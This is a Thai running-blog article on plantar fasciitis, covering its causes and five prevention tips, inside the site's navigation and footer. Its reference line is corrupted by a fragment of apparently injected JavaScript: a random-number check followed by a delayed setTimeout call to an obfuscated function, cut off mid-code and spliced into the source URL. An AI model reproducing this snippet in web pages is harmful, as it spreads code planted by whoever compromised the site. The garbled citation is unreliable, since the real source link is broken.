• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Running Tips

วิ่งอย่างไรไม่ให้เจ็บ “รองช้ำ” (Plantar fasciitis)

kan by kan
22 November 2018
in Running Tips
0
10 วิธีชาร์จเเบตขา (Recovery) ให้เร็วขึ้น
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

รองช้ำ คือหนึ่งในอาการบาดเจ็บที่มักจะเกิดขึ้นกับเหล่านักวิ่งมือใหม่และอาจจะเกิดขึ้นกับนักวิ่งที่เริ่มฝึกวิ่งระยะไกลมากขึ้น ยิ่งสำหรับนักวิ่งที่หัดลงเท้าแบบ Forefoot หรือแบบ Midfoot (ลงปลายเท้าหรือตั้งแต่กลางเท้าไปจนถึงปลายเท้า) มักจะประสบปัญหาอาการบาดเจ็บกันเกือบทุกคน

วิ่งอย่างไรไม่ให้เจ็บ “รองช้ำ” (Plantar fasciitis)

รองช้ำ คืออะไร…อาการปวด โรครองช้ำ หรือ  โรคเอ็นฝ่าเท้าอักเสบ หรือ โรคเอ็นส้นเท้าอักเสบ เกิดจากการอักเสบของเส้นเอ็นฝ่าเท้า (Plantar fascia) โดยเจ้าเส้นเอ็นจะมีลักษณะเป็นเส้นบางๆ หุ้มยึดข้อเท้าไปจนถึงปลายเท้า ทำหน้าที่เป็นแผ่นสปริงค่อยรับแรงกระแทกเวลาเดินวิ่งและขณะยืนด้วย ในการใช้งานหนักๆ มากขึ้น (วิ่งมากขึ้น)เส้นใยจะมีการยืดหดไปมาและอาจจะมีการฉีกขาดและถ้ามีมาก ซ้อมแซมไม่ทันก็จะเกิดอาการอักเสบ ปวดเหมือมีมีดแทงที่ส้นเท้า

สาเหตุของการเกิด…สาเหตุของการเกิดอาการบาดเจ็บโรครองช้ำสำหรับนักวิ่งคือ การที่ฝ่าเท้าไม่สามารถรองรับงานที่เกิดจากการวิ่งได้ นั้นคือ เมื่อเพิ่ม workload เข้าไป (ระยะทางวิ่งที่ไกลขึ้น ระยะเวลาที่มากขึ้น) เท้าเราจะทำงานหนักมากขึ้น จนถึงจุดที่กล้ามเนื้อฝ่าเท้าไม่สามารถรับได้ เพราะยังฝึกไม่ถึง อาจจะวิ่งได้แค่ 5K แล้วจู่ๆ ก็กระโดดไปวิ่ง 10-21K เป็นต้น ร่างกายยังไม่แกร่งพอหรือไม่สามารถฟื้นฟูได้ทัน ทำให้การฉีกขาดของเอ็นมีมากขึ้นจนอักเสบ ฉะนั้นสาเหตุหลักๆ ก็น่าจะเป็นการเพิ่มระยะทางและการ over training  ในส่วนสาเหตุอื่นๆ ก็อาจจะเป็นเพราะ การเดินหรือยืนทำงานนานๆ บนพื้นแข็งๆ ร่างกายมีน้ำหนักมากไป  การใส่รองเท้าที่ไม่เข้ากับรูปเท้า โครงสร้างของเท้าของนักวิ่งเอง ภาวะเท้าผิดรูป เช่น อุ้งเท้าแบน หรือ อุ้งเท้าสูงหรือโก่งมากเกิน เป็นต้น

5 เทคนิคแบบง่ายๆ ช่วยป้องกันการเกิดอาการบาดเจ็บโรครองช้ำ ได้แก่…

1. สร้างกล้ามเนื้อ core ให้แข็งแรง การมีกล้ามเนื้อ core ที่แข็งแรงจะทำให้มีท่าวิ่งหรือ posture การวิ่งถูกต้อง เคลื่อนไหวร่างกายได้คล่องแคล้วมีความยืดหยุ่น ช่วยป้องกันอาการบาดเจ็บบริเวณอื่นๆ นอกเหนือจากโรครองช้ำด้วย

2. รักษาความยืดหยุ่น ก่อนวิ่งต้องวอร์มอัพและจบการวิ่งต้องคูลดาวน์คลายกล้ามเนื้อ โดยเฉพาะกล้ามเนื้อน่อง และเอ็นร้อยหวาย ของส่วนนี้จะมีผลต่อการเกิดโรครองช้ำมาก ยิ่งคนที่วิ่งแบบ midfoot และ forefoot ยิ่งต้องดูแลเป็นพิเศษ

3. เลือกรองเท้าให้เข้ากับรูปฝ่าเท้าตั้งแต่ต้น การเลือกรองเท้าที่คับไปจะไปบีบกล้ามเนื้อ หรือหลวมไปก็จะทำให้มีช่องว่าง ฝ่าเท้าจะเคลื่อนขยับไปมา ต้องเกรงบังคับฝ่าเท้าหรือเกิดเท้าพองก็ได้ และเปลี่ยนรองเท้าเมื่อเกิดการเสื่อมสภาพทุกครั้ง

4. ค่อยๆ เป็นค่อยๆ ไป หาจังหวะ pace ตัวเองให้เจอ อย่าวิ่งเร็วไปหรือโหมฝึก ค่อยๆ ฝึกเพิ่มเก็บระยะไปเรื่อยๆ ให้ร่างกายได้ฟื้นฟูและสร้างความแข็งแรงตามระดับการฝึกที่สัมพันธ์กัน

5. ดื่มน้ำให้เยอะๆ เพื่อรักษาระดับน้ำในร่างกายไม่ให้ขาดน้ำ เพราะน้ำช่วยเป็นสารหล่อลื่นข้อเข่าต่างๆ ช่วยหมุนเวียนระบายความร้อน ร่างกายที่มีระดับน้ำดี จะทำให้ performance ดีด้วย     

ข้อแนะนำอื่นๆ ที่เกี่ยวข้องสำหรับนักวิ่งสำหรับหลีกเลี่ยงโรครองช้ำ ได้แก่ การควบคุมน้ำหนักตัวเอง อย่าวิ่งแล้วกินอะไรก็ได้ หรือหลีกเลี่ยงกิจกรรมที่กระตุ้นการทำงานของฝ่าเท้า อย่างการเดินลงส้นหรือเดินกระแทกฝ่าเท้า มีการปรับเปลี่ยนอิริยาบถอยู่เรื่อยๆ อย่านั่ง ยืนหรือเดินนานๆ ท้ายสุดก็ต้องรู้จักทำ Self-Massage หรือเล่นโยคะท่าคล้ายกล้ามเนื้อบาง อย่าเอาแต่ฝึกท่าวิ่งอย่างเดียว

อ้างอิง  andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andtreatingplantarfasciitis/?fbclid=IwAR0zlVkB221bNrPrKs5wgk2yI96OmtFIm5iwpwvBj34uWoWSWNEuL53ZBJI”>blog.runkeeper.com

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • อาดิดาสเปิดตัวชุดออกกำลังกายผู้หญิงคอลเลคชั่น Must Have เพิ่มความมั่นใจกระชับทุกสัดส่วน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.